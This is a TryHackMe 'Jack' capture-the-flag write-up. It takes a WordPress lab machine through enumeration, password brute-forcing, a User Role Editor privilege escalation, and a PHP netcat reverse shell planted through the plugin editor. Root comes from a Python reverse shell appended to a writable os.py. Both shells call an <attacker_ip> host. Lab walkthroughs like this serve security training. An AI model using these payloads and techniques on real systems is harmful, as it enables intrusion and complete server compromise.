TryHackMe: Jack Write-up
Objective:
Challenge Link: Jack
Compromise a web server running Wordpress, obtain a low privileged user and escalate your privileges to root using a Python module.
Enumeration:
Start enumerating the target machine. I used nmap
with -A
option to enable OS detection, version detection, script scanning, and traceroute
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@ip-10-10-221-91:~# nmap 10.10.236.155 -A
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-25 13:29 BST
Nmap scan report for jack.thm (10.10.236.155)
Host is up (0.00062s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3e:79:78:08:93:31:d0:83:7f:e2:bc:b6:14:bf:5d:9b (RSA)
| 256 3a:67:9f:af:7e:66:fa:e3:f8:c7:54:49:63:38:a2:93 (ECDSA)
|_ 256 8c:ef:55:b0:23:73:2c:14:09:45:22:ac:84:cb:40:d2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 5.3.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Jack's Personal Site – Blog for Jacks writing adven...
MAC Address: 02:B5:C7:C5:C7:1B (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/25%OT=22%CT=1%CU=31934%PV=Y%DS=1%DC=D%G=Y%M=02B5C7%T
OS:M=685BEBA2%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=I%II=I
OS:%TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11N
OS:W7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=6
OS:8DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T
OS:=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R
OS:=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms jack.thm (10.10.236.155)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.76 seconds
We see that the http-generator is WordPress framework. Visit /wp-admin/
page on the target website. Make sure you edit your local DNS resolver /etc/hosts
to map the target IP address to its hostname. The/wp-admin/
page takes us to the WordPress login. use WPScan
, which is a WordPress security scanner to enumerate users.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@ip-10-10-221-91:~# wpscan --url jack.thm -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jack
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://jack.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] danny
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] wendy
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Findings:
- Users found: danny, wendy, and jack. Save these users in a text file to use for brute-forcing the WordPress login form.
1
2
3
4
5
6
7
8
─$ wpscan -U 'jack,wendy,danny' -P /usr/share/wordlists/fasttrack.txt --url jack.thm
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - wendy / changelater
Trying danny / starwars Time: 00:00:54 <=========================================================== > (646 / 868) 74.42% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: wendy, Password: changelater
Exploitiation
Use the credentials found for wendy to log in to the wp-admin
page. Search in the metasplitable for WordPress privilege escalation exploits
1
2
3
4
5
searchsploit wordpress privilege
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------
WordPress Plugin User Role Editor < 4.25 - Privilege Escalation | php/webapps/44595.rb
we will use User Role Editor plugin. Copy the script to your current working directory.
1
2
3
4
5
6
7
8
9
searchsploit -m 44595.rb
Exploit: WordPress Plugin User Role Editor < 4.25 - Privilege Escalation
URL: https://www.exploit-db.com/exploits/44595
Path: /usr/share/exploitdb/exploits/php/webapps/44595.rb
Codes: N/A
Verified: False
File Type: Ruby script, ASCII text, with very long lines (987)
Copied to: /home/kali/Documents/THM/jack/44595.rb
In the script under the Send HTTP POST method, that is what it will send when we press update profile.
Use Burp Suite to intercept the send request and edit it.
Add ure_other_roles=administrator
field to the POST request. Then click forward.
Getting Reverse Shell
Now it is time to add our reverse shell to the plugin editor, and start listening for the target. visit the plugin editor and type
1
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <listening_port> >/tmp/f") ?>
Start listening for incoming connections, update the script, then go to the Installed Plugins and activate the akismet.php
script.
When you successfully gain a shell, it is better to run this command
1
python -c 'import pty; pty.spawn("/bin/bash")'
This command upgrades the basic shell to a pseudo-terminal (PTY), which
- Better command-line editing (arrow keys, backspace, tab completion)
- The ability to use tools like su, passwd, nano, etc.
- Better handling of interactive programs. Follow up with this command
1
export TERM=xterm
Now you can cleanly use clear
, nano
,vim
, less
,man
, and even arrow keys or tab completion more reliably.
Cat the content of the reminder.txt
, it has a reminder to check his backups. The backups on Linux are in this location: /var/backups
Privilege Escalation:
We can see there is id_rsa
, which is the private SSH key for a user on that system. Use it to authenticate the user to remote systems without a password. Copy the id_rsa file and SSH to the Jack machine
1
ssh -i id_rsa.txt jack@jack.thm
Now, how to gain root access? Let’s first use the pspy
tool to see all the processes running, including those run by other users (like root), without needing root access. Download it from pspy64 github, then transfer it to the target machine.
on the attacker machine
1
2
3
4
wget https://github.com/Cerbersec/scripts/blob/master/linux/pspy64
chmod +x pspy64
python3 -m http.server 8000
on the target machine
1
2
3
4
cd /tmp
wget http://<attacker-ip>:8000/pspy64
chmod +x pspy64
./pspy64
output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
jack@jack:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/06/26 08:40:01 CMD: UID=0 PID=12814 | /bin/sh -c /usr/bin/python /opt/statuscheck/checker.py
2025/06/26 08:42:01 CMD: UID=0 PID=12820 | /bin/sh -c /usr/bin/python /opt/statuscheck/checker.py
The root user has a cronjob that runs every minute. View the content of the Python script
1
2
3
4
jack@jack:/tmp$ cat /opt/statuscheck/checker.py
import os
os.system("/usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log")
The script uses os.system()
to run a shell command. View the group’s jack-in.
1
2
jack@jack:/opt/statuscheck$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1001(family)
search for the family group
The family group has write access to /usr/lib/python2.7/
, which includes core Python modules like os.py
. By adding a Python reverse shell to the end of os.py
, any root-level script that imports os
may trigger your shell, giving you privileged access.
1
2
3
4
5
6
7
8
import socket
import pty
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<attacker_ip>",4444))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")